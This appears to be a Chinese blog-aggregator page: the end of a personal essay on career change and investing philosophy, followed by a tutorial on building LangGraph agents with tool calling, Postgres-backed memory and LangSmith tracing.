并且职场会同化或者说弱化一个人的能力,慢慢的对公司外的事情就失去了兴趣。我之前在的一家公司,工资也好,福利待遇高,专车接送,公司美女成群。但那时候没人关心淘宝在做什么,淘宝店怎么开,而且我部门的大领导批评我看没用的。而后来我就果断离职了,结果3年后,公司也开起了淘宝店,天猫店。

不管是工地搬砖,还是公司里面做PPT,都是在用体力,脑力赚钱。而想财富自由,就必须让钱来赚钱。当然,还有可以娶一个白富美,或者嫁一个富二代,这样小概率的事情就不算了。那么怎么才能让钱生钱呢,最好的办法就是投资。可以投资实体,也可以投资股市,黄金,包括数字货币。

投实体算了,咱没经验。就聊聊投资非实体的方式实现财富自由,请注意,投资有风险,我仅仅是表达个人观点,不推荐你参与任何高风险的投资。

之前有人说比特币是骗局,其实也没错,我也可以说黄金也是骗局,房地产也是骗局。世界的金融秩序,经济系统本身也是一个骗局。但只要有人愿意买,有人愿意卖,并且基于相对公开的市场,这个骗局就不会有倒台的一天。

如果你100万买的房子,现在只能卖5万,你说房产是不是骗局?如果你10万买的黄金,现在只能5块钱一斤回收,你说黄金是不是骗局?如果你45万买的比特币,现在无处交易,你说比特币是不是骗局?

把骗局换个更加温和中性一点的词,泡沫。你说哪个行业没有资产泡沫呢?不然为啥动不动就蒸发,动不动就爆仓呢?不还是泡沫破了么,所以太较真,只有非黑即白的二元论的人,在市场很难赚到钱。当然,我希望所有我的读者朋友都能赚到钱。

回到正题,投资什么才能让你财富自由呢?

1.生命周期足够长的资产。普通人投资,就不能看那些短期内百倍增长的资产,里面必然是庄家控盘,或者联合下套。这在币圈太常见了,几分钱的东西,不到1个月,能增长百倍,甚至千倍。可是清仓归0也就是一夜之间,甚至几秒。币圈的交易所可是24小时不眠不休的,而且有些项目,只需要几十万或者几百万就能锁定流动性,分分钟拉盘起飞,然后收割退场。所以,你不能期待短期内的高倍收益,要能确定你投资的资产“活”的时间会很长。这永远是第一参考标准。

2.设计合理的收益目标。不要说上来我就投入10万,放着不管等它变成1000万,变成1个亿。这也不能说不合理,但是根据第一条标准,能活的足够长的资产,翻100倍恐怕有点难度哈。但是如果说,我投10万元,等浮盈15万,也就是变成25万,我就卖掉10万,等下次大跌的时候抄底用。那这个就算一个合理的收益目标,而且如果确定就必须要执行。排除噪音,杀伐果断。

3.在涨跌的波动中获取收益。如果你投入的资金量并不多,那么就要在波动中获得收益,直白点说就是低买高卖,在资产下跌时候买入,等资产上涨再卖出。实现投资收益的最大化,也就是常说的做波段。至于什么时候跌,什么时候涨,就要分析市场,有的人看消息层面,有的人看参数层面,这个不需要别人教。那么多公开的财报,那么多交易区里的讨论,多看看,自然能找到自己的方式方法。

4.不依赖感情,做客观决策。前几天吃饭,有个朋友说,我们公司现在做的挺好,我都想买点我们公司的股票了。其实这样的行为,也不能说绝对错或者绝对正确,只能说不妥。因为在公司上班,对公司好产生了好感,而溢出的好感会成为对公司的看好,进而形成了投资决策。这是对自己钱不负责任,投资应该是客观的,而不是主观的。

更主要的,不要因为投资某项资产,带来汇报,就产生了好感。你的盈利是市场对你认知的反馈,你应该认真思考,如何能保持盈利,持续盈利,以及何时变现。投资不是结婚,你不需要对投资品负责,反过来投资品也不会对你负责。大家公平交易,愿赌服输。

5.经历牛熊,穿越周期。作为普通人开始投资,不管别人怎么描绘熊市有多惨,跌的有多狠,大概都是无感的。只有真刀真枪,真金白银的投进去,看到跌幅10%,才知道什么叫“天塌了”,正所谓金子是凉的,抓在手里是热的。就像我说的,过个马路看到账户上浮盈几万元,然后在商场吃口饭,有浮盈几万。高兴的看个电影,出来浮盈没了,浮亏了好几万,气的都想给电影打个差评。

但回头看来,牛熊的剧烈波动起伏,才是你我的投资机会,才是你我的财富密码。巴菲特所言,别人贪婪我恐惧,别人恐惧我贪婪。但换句更符合中国宝宝体质的话就是,买在无人问津时,卖在人声鼎沸处。当市场一片哀嚎的时候,就是抄底入场的时候,当大家排队开户的时候,也许就是开始减仓套现的信号。

不管是黄金白银,还是A股美股,还是比特币,每个领域都有人赚到了大钱,也有人赔的倾家荡产。更何况你以为市场只是单纯的买卖吗?还有做空做多,期货市场那更是神仙打架,每天都有造富神话。

by 小吴乐意 at October 08, 2024 03:14 AM

October 07, 2024

aneasystone

基于 LangGraph 创建智能体应用

早在年初的时候,LangChain 发布了 v0.1.0 稳定版本,版本公告里通过大量的篇幅对功能特性做了全面的介绍,最后,在公告的结尾,提到了一个不那么显眼的库,那就是 LangGraph。尽管看上去不那么显眼,但是它却非常重要,所以后来官方又 发表了一篇博客来单独介绍它,这是一个面向当前大模型领域最火热的智能体应用的库,是 LangChain 在智能体开发,特别是复杂的多智能体系统方面的一次重大尝试。

在之前的 LangChain 版本中,我们可以通过 AgentExecutor 实现智能体,在 大模型应用开发框架 LangChain 学习笔记(二) 中,我们曾经学习过 AgentExecutor 的用法,实现了包括 Zero-shot ReAct Agent、Conversational ReAct Agent、ReAct DocStore Agent、Self-Ask Agent、OpenAI Functions Agent 和 Plan and execute Agent 这些不同类型的智能体。但是这种方式过于黑盒,所有的决策过程都隐藏在 AgentExecutor 的背后,缺乏更精细的控制能力,在构建复杂智能体的时候非常受限。

LangGraph 提供了对应用程序的流程和状态更精细的控制,它允许定义包含循环的流程,并使用 状态图(State Graph) 来表示 AgentExecutor 的黑盒调用过程。

下面是 LangGraph 的关键特性:

  • 循环和分支(Cycles and Branching):支持在应用程序中实现循环和条件语句;
  • 持久性(Persistence):自动保存每一步的执行状态,支持在任意点暂停和恢复,以实现错误恢复、人机协同、时间旅行等功能;
  • 人机协同(Human-in-the-Loop):支持在行动执行前中断执行,允许人工介入批准或编辑;
  • 流支持(Streaming Support):图中的每个节点都支持实时地流式输出;
  • 与 LangChain 的集成(Integration with LangChain):LangGraph 与 LangChain 和 LangSmith 无缝集成,但并不强依赖于它们。

快速开始

我们从一个最简单的例子开始:

### 定义状态图

from langgraph.graph import StateGraph, MessagesState

graph_builder = StateGraph(MessagesState)

### 定义模型和 chatbot 节点

from langchain_openai import ChatOpenAI

llm = ChatOpenAI()

def chatbot(state: MessagesState):
    return {"messages": [llm.invoke(state["messages"])]}

### 构建和编译图

from langgraph.graph import END, START

graph_builder.add_node("chatbot", chatbot)
graph_builder.add_edge(START, "chatbot")
graph_builder.add_edge("chatbot", END)
graph = graph_builder.compile()

### 运行

from langchain_core.messages import HumanMessage

response = graph.invoke(
    {"messages": [HumanMessage(content="合肥今天天气怎么样?")]}
)
response["messages"][-1].pretty_print()

在这个例子中,我们使用 LangGraph 定义了一个只有一个节点的图:

basic-chatbot.jpg

基本概念

上面的示例非常简单,还称不上什么智能体,尽管如此,它却向我们展示了 LangGraph 中的几个重要概念:

  • 图(Graph) 是 LangGraph 中最为重要的概念,它将智能体的工作流程建模为图结构。大学《数据结构》课程学过,图由 节点(Nodes)边(Edges) 构成,在 LangGraph 中也是如此,此外,LangGraph 中还增加了 状态(State) 这个概念;
  • 状态(State) 表示整个图运行过程中的状态数据,可以理解为应用程序当前快照,为图中所有节点所共享,它可以是任何 Python 类型,但通常是 TypedDict 类型或者 Pydantic 的 BaseModel 类型;
  • 节点(Nodes) 表示智能体的具体执行逻辑,它接收当前的状态作为输入,执行某些计算,并返回更新后的状态;节点不一定非得是调用大模型,可以是任意的 Python 函数;
  • 边(Edges) 表示某个节点执行后,接下来要执行哪个节点;边的定义可以是固定的,也可以是带条件的;如果是条件边,我们还需要定义一个 路由函数(Routing function),根据当前的状态来确定接下来要执行哪个节点。

通过组合节点和边,我们可以创建复杂的循环工作流,随着节点的执行,不断更新状态。简而言之:节点用于执行动作,边用于指示下一步动作

LangGraph 的实现采用了 消息传递(Message passing) 的机制。其灵感源自 Google 的 Pregel 和 Apache 的 Beam 系统,当一个节点完成其操作后,它会沿着一条或多条边向其他节点发送消息。这些接收节点随后执行其功能,将生成的消息传递给下一组节点,如此循环往复。

代码详解

了解这些基本概念后,再回过头来看下上面的代码,脉络就很清楚了。

首先我们通过 StateGraph 定义了状态图:

graph_builder = StateGraph(MessagesState)

它接受状态的 Schema 作为构造参数,在这里直接使用了内置的 MessagesState 类,它的定义如下:

class MessagesState(TypedDict):
    messages: Annotated[list[AnyMessage], add_messages]

MessagesState 很简单,仅包含一个 LangChain 格式的消息列表,一般在构造聊天机器人或示例代码时使用,在正式环境中用的并不多,因为大多数应用程序需要的状态比消息列表更为复杂。

后面的 add_messages 被称为 规约函数(Reducers),表示当节点执行后状态如何更新。当没有定义规约函数时,默认是覆盖的逻辑,比如下面这样的状态 Schema:

from typing import TypedDict

class State(TypedDict):
    foo: int
    bar: list[str]

假设图的输入为 {"foo": 1, "bar": ["hi"]},接着假设第一个节点返回 {"foo": 2},这时状态被更新为 {"foo": 2, "bar": ["hi"]},注意,节点无需返回整个状态对象,只有返回的字段会被更新,再接着假设第二个节点返回 {"bar": ["bye"]},这时状态将变为 {"foo": 2, "bar": ["bye"]}

当定义了规约函数,更新逻辑就不一样了,比如对上面的状态 Schema 稍作修改:

from typing import TypedDict, Annotated
from operator import add

class State(TypedDict):
    foo: int
    bar: Annotated[list[str], add]

仍然假设图的输入为 {"foo": 1, "bar": ["hi"]},接着假设第一个节点返回 {"foo": 2},这时状态被更新为 {"foo": 2, "bar": ["hi"]},再接着假设第二个节点返回 {"bar": ["bye"]},这时状态将变为 {"foo": 2, "bar": ["hi", "bye"]}

定义了图之后,我们接下来就要定义节点,这里我们只定义了一个 chatbot 节点:

def chatbot(state: MessagesState):
    return {"messages": [llm.invoke(state["messages"])]}

节点就是普通的 Python 函数,在这里调用大模型得到回复,也可以是任意其他的逻辑,函数的入参就是上面所定义的状态对象,我们可以从状态中取出最新的值,函数的出参也是状态对象,节点执行后,根据规约函数,返回值会被更新到状态中。

定义节点后,我们就可以使用 add_node 方法将其添加到图中:

graph_builder.add_node("chatbot", chatbot)

然后再使用 add_edge 方法添加两条边,一条边从 START 节点到 chatbot 节点,一个边从 chatbot 节点到 END 结束:

graph_builder.add_edge(START, "chatbot")
graph_builder.add_edge("chatbot", END)

STARTEND 是两个特殊节点,START 表示开始节点,接受用户的输入,是整个图的入口,END 表示结束节点,执行到它之后就没有后续动作了。

值得注意的是,这里构建图的接口形式借鉴了 NetworkX 的设计理念。整个图构建好后,我们还需要调用 compile 方法编译图:

graph = graph_builder.compile()

只有编译后的图才能使用。编译是一个相当简单的步骤,它会对图的结构进行一些基本检查,比如无孤立节点等,也可以在编译时设置一些运行时参数,比如检查点、断点等。

编译后的图是一个 Runnable 对象,所以我们可以使用 invoke/ainvoke 来调用它:

response = graph.invoke(
    {"messages": [HumanMessage(content="合肥今天天气怎么样?")]}
)
response["messages"][-1].pretty_print()

也可以使用 stream/astream 来调用它:

for event in graph.stream({"messages": ("user", "合肥今天天气怎么样?")}):
    for value in event.values():
        value["messages"][-1].pretty_print()

输出结果如下:

================================== Ai Message ==================================

对不起,我无法提供实时天气信息。您可以通过天气预报应用程序或网站来获取合肥今天的天气情况。

工具调用

可以看到,现在这个程序只是对大模型进行了一层包装,还谈不上是智能体。Lilian Weng 在 LLM Powered Autonomous Agents 这篇博客中总结到,智能体至少要包含三个核心组件:规划(Planning)记忆(Memory)工具使用(Tool use)

agent-overview.png

其中,规划和记忆好比人的大脑,可以储存历史知识,对问题进行分析思考,现在的大模型都或多或少具备这样的能力;工具使用好比人的五官和手脚,可以感知世界,与外部源(例如知识库或环境)进行交互,以获取额外信息,并执行动作。工具的使用是人类区别于其他动物的重要特征,也是智能体区别于其他应用程序的重要特征。

这一节我们将对上面的 LangGraph 示例做些修改,使其具备工具调用的能力。首先,我们定义一个天气查询的工具:

### 定义工具

from pydantic import BaseModel, Field
from langchain_core.tools import tool

class GetWeatherSchema(BaseModel):
    city: str = Field(description = "城市名称,如合肥、北京、上海等")
    date: str = Field(description = "日期,如今天、明天等")

@tool(args_schema = GetWeatherSchema)
def get_weather(city: str, date: str):
    """查询天气"""
    if city == "合肥":
        return "今天晴天,气温30度。"
    return "今天有小雨,气温25度。"

这里使用了 LangChain 的 @tool 注解将一个方法定义成工具,并使用了 pydantic 对工具的参数做一些说明,在 这篇博客 中我还介绍了一些其他定义工具的方法,也可以使用。

接下来,和之前的示例一样,我们仍然需要定义一个状态图:

### 定义状态图

from langgraph.graph import StateGraph, MessagesState

graph_builder = StateGraph(MessagesState)

再接下来定义节点:

### 定义 tools 节点

from langgraph.prebuilt import ToolNode

tools = [get_weather]
tool_node = ToolNode(tools)

### 定义模型和 chatbot 节点

from langchain_openai import ChatOpenAI

llm = ChatOpenAI()
llm = llm.bind_tools(tools)

def chatbot(state: MessagesState):
    return {"messages": [llm.invoke(state["messages"])]}

这和之前的示例有两点区别:

  1. 多了一个 tools 节点,我们使用 LangGraph 内置的 ToolNode 来定义,一个工具节点中可以包含多个工具方法;
  2. chatbot 节点 中,我们的大模型需要绑定这些工具,通过 llm.bind_tools() 实现;

再接下来,将节点添加到图中,并在节点和节点之间连上线:

### 构建和编译图

from langgraph.graph import END, START
from langgraph.prebuilt import tools_condition

graph_builder.add_node("chatbot", chatbot)
graph_builder.add_node("tools", tool_node)
graph_builder.add_edge(START, "chatbot")
graph_builder.add_edge("tools", 'chatbot')
graph_builder.add_conditional_edges("chatbot", tools_condition)
graph = graph_builder.compile()

构建出的图如下所示:

tools-chatbot.jpg

可以看到这里有两条比较特别的连线,是虚线,这被称为 条件边(Conditional Edges),LangGraph 通过调用某个函数来确定下一步将执行哪个节点,这里使用了内置的 tools_condition 函数,当大模型返回 tool_calls 时执行 tools 节点,否则则执行 END 节点。

此时,一个简单的智能体就构建好了,我们再次运行之:

### 运行

for event in graph.stream({"messages": ("user", "合肥今天天气怎么样?")}):
    for value in event.values():
        value["messages"][-1].pretty_print()

运行结果如下:

================================== Ai Message ==================================
Tool Calls:
  get_weather (call_Jjp7SNIQkJWpLUdTL4uL1h1O)
 Call ID: call_Jjp7SNIQkJWpLUdTL4uL1h1O
  Args:
    city: 合肥
    date: 今天
================================= Tool Message =================================
Name: get_weather

今天晴天,气温30度。
================================== Ai Message ==================================

合肥今天是晴天,气温30度。

完整的代码 参考这里

深入 Tool Call 的原理

从上面的运行结果中可以看出,用户消息首先进入 chatbot 节点,也就是调用大模型,大模型返回 tool_calls 响应,因此进入 tools 节点,接着调用我们定义的 get_weather 函数,得到合肥的天气,然后再次进入 chatbot 节点,将函数结果送给大模型,最后大模型就可以回答出用户的问题了。

这个调用的流程图如下:

tool-calling-flow.png

OpenAI 官方文档 中有一张更详细的流程图:

function-calling-diagram.png

其中要注意的是,第二次调用大模型时,可能仍然会返回 tool_calls 响应,这时可以循环处理。

为了更好的理解 LangGraph 是如何调用工具的,我们不妨深入接口层面一探究竟。总的来说,LangGraph 利用大模型的 Tool Call 功能,实现动态的选择工具,提取工具参数,执行工具函数,并根据工具运行结果回答用户问题。

有很多大模型具备 Tool Call 功能,比如 OpenAI、Anthropic、Gemini、Mistral AI 等,我们可以通过 llm.bind_tools(tools) 给大模型绑定可用的工具,实际上,绑定工具就是在请求大模型的时候,在入参中多加一个 tools 字段:

{
    "model": "gpt-4",
    "messages": [
        {
            "role": "user",
            "content": "合肥今天天气怎么样?"
        }
    ],
    "stream": false,
    "n": 1,
    "temperature": 0.7,
    "tools": [
        {
            "type": "function",
            "function": {
                "name": "get_weather",
                "description": "查询天气",
                "parameters": {
                    "type": "object",
                    "properties": {
                        "city": {
                            "type": "string",
                            "description": "城市名称,如合肥、北京、上海等"
                        },
                        "date": {
                            "type": "string",
                            "description": "日期,如今天、明天等"
                        }
                    },
                    "required": [
                        "city",
                        "date"
                    ]
                }
            }
        }
    ],
    "tool_choice": "auto"
}

这时大模型返回的结果类似于下面这样,也就是上面所说的 tool_calls 响应:

{
    "id": "chatcmpl-ABDVbXhhQLF8yN3xZV5FpW10vMQpP",
    "object": "chat.completion",
    "created": 1727236899,
    "model": "gpt-4-0613",
    "choices": [
        {
            "index": 0,
            "message": {
                "role": "assistant",
                "content": "",
                "tool_calls": [
                    {
                        "id": "call_aZaHgkaSmzq7kWX5f73h7nGg",
                        "type": "function",
                        "function": {
                            "name": "get_weather",
                            "arguments": "{\n  \"city\": \"合肥\",\n  \"date\": \"今天\"\n}"
                        }
                    }
                ]
            },
            "finish_reason": "tool_calls"
        }
    ],
    "usage": {
        "prompt_tokens": 91,
        "completion_tokens": 25,
        "total_tokens": 116
    },
    "system_fingerprint": ""
}

我们只需要判断大模型返回的结果中是否有 tool_calls 字段就能知道下一步是不是要调用工具,这其实就是 tools_condition 这个条件函数的逻辑:

def tools_condition(
    state: Union[list[AnyMessage], dict[str, Any]],
) -> Literal["tools", "__end__"]:

    if isinstance(state, list):
        ai_message = state[-1]
    elif messages := state.get("messages", []):
        ai_message = messages[-1]
    else:
        raise ValueError(f"No messages found in input state to tool_edge: {state}")
    if hasattr(ai_message, "tool_calls") and len(ai_message.tool_calls) > 0:
        return "tools"
    return "__end__"

tools_condition 函数判断 messages 中如果有 tool_calls 字段且不为空,则返回 tools,也就是工具节点,否则返回 __end__ 也就是结束节点。

工具节点的执行,我们使用的是 LangGraph 内置的 ToolNode 类,它的实现比较复杂,感兴趣的可以翻看下它的源码,但是大体流程可以用下面几行代码表示:

tools_by_name = {tool.name: tool for tool in tools}
def tool_node(state: dict):
    result = []
    for tool_call in state["messages"][-1].tool_calls:
        tool = tools_by_name[tool_call["function"]["name"]]
        observation = tool.invoke(tool_call["function"]["arguments"])
        result.append(ToolMessage(content=observation, tool_call_id=tool_call["id"]))
    return {"messages": result}

工具节点遍历 tool_calls 数组,根据大模型返回的函数名 name 和函数参数 arguments 依次调用工具,并将工具结果以 ToolMessage 形式附加到 messages 中。这样再次进入 chatbot 节点时,向大模型发起的请求就如下所示(多了一个角色为 tool 的消息):

{
    "model": "gpt-4",
    "messages": [
        {
            "role": "user",
            "content": "合肥今天天气怎么样?"
        },
        {
            "role": "assistant",
            "content": "",
            "tool_calls": [
                { 
                    "id": "call_aZaHgkaSmzq7kWX5f73h7nGg",
                    "type": "function",
                    "function": {
                        "name": "get_weather",
                        "arguments": "{\n  \"city\": \"合肥\",\n  \"date\": \"今天\"\n}" 
                    }
                }
            ]
        },
        {
            "role": "tool",
            "content": "晴,27度",
            "tool_call_id": "call_aZaHgkaSmzq7kWX5f73h7nGg"
        }
    ],
    "stream": false,
    "n": 1,
    "temperature": 0.7,
    "tools": [
        ...
    ],
    "tool_choice": "auto"
}

大模型返回消息如下:

{
    "id": "chatcmpl-ABDeUc21mx3agWVPmIEHndJbMmYTP",
    "object": "chat.completion",
    "created": 1727237450,
    "model": "gpt-4-0613",
    "choices": [
        {
            "index": 0,
            "message": {
                "role": "assistant",
                "content": "合肥今天的天气是晴朗,气温为27度。"
            },
            "finish_reason": "stop"
        }
    ],
    "usage": {
        "prompt_tokens": 129,
        "completion_tokens": 24,
        "total_tokens": 153
    },
    "system_fingerprint": ""
}

此时 messages 中没有 tool_calls 字段,因此,进入 END 节点,这一轮的会话就结束了。

适配 Function Call 接口

经过上面的学习,我们知道,LangGraph 默认会使用大模型接口的 Tool Call 功能。Tool Call 是 OpenAI 推出 Assistants API 时引入的一种新特性,它相比于传统的 Function Call 来说,控制更灵活,比如支持一次返回多个函数,从而可以并发调用。

目前大多数大模型产商的接口都已经紧跟 OpenAI 的规范,推出了 Tool Call 功能,但是也有部分产商或开源模型只支持 Function Call,对于这些模型如何在 LangGraph 中适配呢?

Function Call 和 Tool Call 的区别在于,请求的参数中是 functions 而不是 tools,如下所示:

{
    "messages": [
        {
            "role": "user",
            "content": "合肥今天天气怎么样?"
        }
    ],
    "model": "gpt-4",
    "stream": false,
    "n": 1,
    "temperature": 0.7,
    "functions": [
        {
            "name": "get_weather",
            "description": "查询天气",
            "parameters": {
                "properties": {
                    "city": {
                        "description": "城市名称,如合肥、北京、上海等",
                        "type": "string"
                    },
                    "date": {
                        "description": "日期,如今天、明天等",
                        "type": "string"
                    }
                },
                "required": [
                    "city",
                    "date"
                ],
                "type": "object"
            }
        }
    ]
}

LangChain 提供了 llm.bind_functions(tools) 方法来给大模型绑定可用的工具,这里的工具定义和 llm.bind_tools(tools) 是一模一样的:

### 定义模型和 chatbot 节点

from langchain_openai import ChatOpenAI

llm = ChatOpenAI(model="gpt-4")
llm = llm.bind_functions(tools)

def chatbot(state: MessagesState):
    return {"messages": [llm.invoke(state["messages"])]}

大模型返回结果如下,messages 中会包含 function_call 字段而不是 tool_calls

{
    "id": "chatcmpl-ACcnVWbuWbyxuO0eWqQrKBE0dB921",
    "object": "chat.completion",
    "created": 1727572437,
    "model": "gpt-4-0613",
    "choices": [
        {
            "index": 0,
            "message": {
                "role": "assistant",
                "content": "",
                "function_call": {
                    "name": "get_weather",
                    "arguments": "{\"city\":\"合肥\",\"date\":\"今天\"}"
                }
            },
            "finish_reason": "function_call"
        }
    ],
    "usage": {
        "prompt_tokens": 91,
        "completion_tokens": 21,
        "total_tokens": 112
    },
    "system_fingerprint": "fp_5b26d85e12"
}

因此我们条件边的判断函数就不能以 tool_calls 来作为判断依据了,我们对其稍加修改:

def tools_condition(
    state: MessagesState,
) -> Literal["tools", "__end__"]:

    if isinstance(state, list):
        ai_message = state[-1]
    elif messages := state.get("messages", []):
        ai_message = messages[-1]
    else:
        raise ValueError(f"No messages found in input state to tool_edge: {state}")
    if "function_call" in ai_message.additional_kwargs:
        return "tools"
    return "__end__"

注意 LangChain 将 function_call 放在消息的额外字段 additional_kwargs 里。

最后是工具节点的实现,上面我们使用的是 LangGraph 内置的 ToolNode 类,它的实现比较复杂,要考虑工具的异步执行和并发执行等情况,我们不用实现和它完全一样的功能。最简单的做法是自定义一个 BasicToolNode 类,并实现一个 __call__ 方法:

import json
from langchain_core.messages import FunctionMessage

class BasicToolNode:

    def __init__(self, tools: list) -> None:
        self.tools_by_name = {tool.name: tool for tool in tools}

    def __call__(self, inputs: dict):
        if messages := inputs.get("messages", []):
            message = messages[-1]
        else:
            raise ValueError("No message found in input")
        outputs = []
        if "function_call" in message.additional_kwargs:
            tool_call = message.additional_kwargs["function_call"]
            tool_result = self.tools_by_name[tool_call["name"]].invoke(
                json.loads(tool_call["arguments"])
            )
            outputs.append(
                FunctionMessage(
                    content=json.dumps(tool_result),
                    name=tool_call["name"]
                )
            )
        return {"messages": outputs}

tools = [get_weather]
tool_node = BasicToolNode(tools=tools)

我们从 function_call 字段中提取出工具名称 name 和工具参数 arguments,然后调用相应的工具,最后最重要的一步是将工具调用结果包装成一个 FunctionMessage 并附加到 messages 中。当程序流程再次进入 chatbot 节点时,向大模型发起的请求就如下所示(多了一个角色为 function 的消息):

{
    "messages": [
        {
            "role": "user",
            "content": "合肥今天天气怎么样?"
        },
        {
            "role": "assistant",
            "content": "",
            "function_call": {
                "name": "get_weather",
                "arguments": "{\"city\":\"合肥\",\"date\":\"今天\"}"
            }
        },
        {
            "role": "function",
            "content": "晴,27度",
            "name": "get_weather"
        }
    ],
    "model": "gpt-4",
    "stream": false,
    "n": 1,
    "temperature": 0.7,
    "functions": [
        ...
    ]
}

至此,我们就通过 Function Call 实现了 LangGraph 的调用逻辑,完整的代码 参考这里

可以看出其中有三步是关键:

  1. 给大模型绑定工具,可以通过 llm.bind_tools()llm.bind_functions() 实现,对于不支持 Function Call 的模型,甚至可以通过自定义 Prompt 来实现;
  2. 解析大模型的返回结果,根据返回的结果中是否有 tool_callsfunction_call 字段,判断是否需要使用工具;
  3. 根据大模型的返回结果,调用一个或多个工具方法。

记忆

我们的智能体现在可以使用工具来回答用户的问题,但它不记得先前互动的上下文,这限制了它进行多轮对话的能力。比如我们接着上面的问题后面再问一个与之相关问题:

for event in graph.stream({"messages": ("user", "合肥今天天气怎么样?")}):
    for value in event.values():
        value["messages"][-1].pretty_print()

for event in graph.stream({"messages": ("user", "要带伞吗?")}):
    for value in event.values():
        value["messages"][-1].pretty_print()

智能体的回复如下:

================================== Ai Message ==================================

请问您在哪个城市以及哪一天需要查询天气情况呢?

很显然,这个智能体还不具备记忆功能,而上一节我们曾提到,记忆(Memory) 是智能体必须具备的三大核心组件之一,所以这一节我们就来学习如何使用 LangGraph 实现它。

LangGraph 通过 持久化检查点(persistent checkpointing)) 实现记忆。首先,我们在编译图时设置检查点(checkpointer)参数:

from langgraph.checkpoint.memory import MemorySaver

memory = MemorySaver()
graph = graph_builder.compile(checkpointer=memory)

然后在调用图时提供一个额外的线程 ID 配置:

config = {"configurable": {"thread_id": "1"}}

for event in graph.stream({"messages": ("user", "合肥今天天气怎么样?")}, config):
    for value in event.values():
        value["messages"][-1].pretty_print()

for event in graph.stream({"messages": ("user", "要带伞吗?")}, config):
    for value in event.values():
        value["messages"][-1].pretty_print()

LangGraph 在第一次运行时自动保存状态,当再次使用相同的线程 ID 调用图时,图会加载其保存的状态,使得智能体可以从停下的地方继续。这一次,智能体的回复如下:

================================== Ai Message ==================================

不需要带伞,今天是晴天哦。

可以看出智能体记住了上一轮的对话内容,现在我们可以和它进行多轮对话了。

持久化数据库

在上面的例子中,我们使用了 MemorySaver 这个检查点,这是一个简单的内存检查点,所有的对话历史都保存在内存中。对于一个正式的应用来说,我们需要将对话历史持久化到数据库中,可以考虑使用 SqliteSaverPostgresSaver 等,LangGraph 也支持自定义检查点,实现其他数据库的持久化,比如 MongoDBRedis

这一节我们将使用 PostgresSaver 来将智能体的记忆持久化到数据库。

首先,安装 PostgresSaver 所需的依赖:

$ pip3 install "psycopg[binary,pool]" langgraph-checkpoint-postgres

然后使用 Docker 启动一个 Postgre 实例:

$ docker run --name my-postgres -e POSTGRES_PASSWORD=123456 -p 5432:5432 -d postgres:latest

然后将上一节代码中的 MemorySaver 检查点替换成 PostgresSaver 如下:

from langgraph.checkpoint.postgres import PostgresSaver

DB_URI = "postgresql://postgres:123456@localhost:5432/postgres?sslmode=disable"
with PostgresSaver.from_conn_string(DB_URI) as checkpointer:
    
    # 第一次运行时初始化
    checkpointer.setup()
    
    graph = graph_builder.compile(checkpointer=checkpointer)
    config = {"configurable": {"thread_id": "1"}}
    for event in graph.stream({"messages": ("user", "合肥今天天气怎么样?")}, config):
        for value in event.values():
            value["messages"][-1].pretty_print()
    for event in graph.stream({"messages": ("user", "要带伞吗?")}, config):
        for value in event.values():
            value["messages"][-1].pretty_print()

第一次运行时,我们需要使用 checkpointer.setup() 来初始化数据库,新建必须的库和表,后续运行可以省略这一步。后面的代码和上一节是完全一样的,设置线程 ID 进行两轮问答,只不过现在问答记录存到数据库里了。感兴趣的同学可以打开 checkpoints 表看看数据结构:

memory-db.png

注意这里我们直接基于连接字符串创建连接,这种方法简单方便,非常适用于快速测试验证,我们也可以创建一个 Connection 对象,设置一些额外的连接参数:

from psycopg import Connection

connection_kwargs = {
    "autocommit": True,
    "prepare_threshold": 0,
}
with Connection.connect(DB_URI, **connection_kwargs) as conn:
    checkpointer = PostgresSaver(conn)
    graph = graph_builder.compile(checkpointer=checkpointer)
    ...

在正式环境下,我们往往会复用数据库的连接,这时可以使用连接池 ConnectionPool 对象:

from psycopg_pool import ConnectionPool

with ConnectionPool(conninfo=DB_URI, max_size=20, kwargs=connection_kwargs) as pool:
    checkpointer = PostgresSaver(pool)
    graph = graph_builder.compile(checkpointer=checkpointer)
    ...

使用 LangSmith 调试智能体会话

当智能体的工具和节点不断增多,我们将会面临大量的问题,比如运行结果出乎意料,智能体出现死循环,反应速度比预期慢,运行花费了多少令牌,等等,这时如何调试智能体将变成一件棘手的事情。

一种简单的方法是使用 这里 介绍的包装类:

class Wrapper:
    ''' 包装类,用于调试 OpenAI 接口的原始入参和出参
    '''
    def __init__(self, wrapped_class):
        self.wrapped_class = wrapped_class

    def __getattr__(self, attr):
        original_func = getattr(self.wrapped_class, attr)

        def wrapper(*args, **kwargs):
            print(f"Calling function: {attr}")
            print(f"Arguments: {args}, {kwargs}")
            result = original_func(*args, **kwargs)
            print(f"Response: {result}")
            return result
        return wrapper

from langchain_openai import ChatOpenAI

llm = ChatOpenAI(model="gpt-4")
llm.client = Wrapper(llm.client)
llm = llm.bind_functions(tools)

这种方法相当于给大模型接口增加了一个切面,用于记录接口的原始入参和出参,方便我们调试。

另一种更专业的做法是使用 LangSmith。

LangSmith 是 LangChain 开发的一个用于构建生产级 LLM 应用程序的平台,允许你调试、测试、评估和监控基于任何 LLM 框架构建的程序,无论是 LangChain 开发的链,还是 LangGraph 开发的智能体。

要使用 LangSmith,我们首先登录平台并注册一个账号,然后进入 Settings -> API Keys 页面,点击 Create API Key 按钮创建一个 API Key,然后设置如下环境变量:

export LANGCHAIN_TRACING_V2=true
export LANGCHAIN_API_KEY=lsv2_pt_xxx
export LANGCHAIN_ENDPOINT=https://api.smith.langchain.com
export LANGCHAIN_PROJECT=default

其中,LANGCHAIN_TRACING_V2=true 表示开启日志跟踪模式;LANGCHAIN_API_KEY 就是上一步创建的 API Key;LANGCHAIN_ENDPOINT 表示 LangSmith 端点地址,一般来说不用配置,由于 LangSmith 是一个开源项目,我们可以私有化部署,这时才需要配置;LANGCHAIN_PROJECT 表示将日志保存到哪个 LangSmith 项目,如果不设置,默认使用的 default 项目。

设置好环境变量,整个工作就完成了,代码无需任何变动,完全没有侵入性。此时,我们再次运行之前的代码,就可以在 LangSmith 平台上看到相应的记录了:

langsmith-runs.png

Runs 列表表示智能体每次的运行记录,也可以切换到 Threads 列表查看所有的会话线程:

langsmith-threads.png

点击进入记录详情,可以很直观地看到 LangGraph 的调用顺序,每一步的耗时和令牌数一目了然:

langsmith-thread-details.png

每一步还可以继续展开,查看该步骤更为详细的入参和出参,便于我们排查问题。

除了调试,我们还可以在 LangSmith 平台上将某一步的结果添加到 测试数据集(Dataset)标注队列(Annotation Queue) 用于后续的测试和评估。还可以对 LLM 的调用情况进行监控分析:

langsmith-monitor.png

高级特性

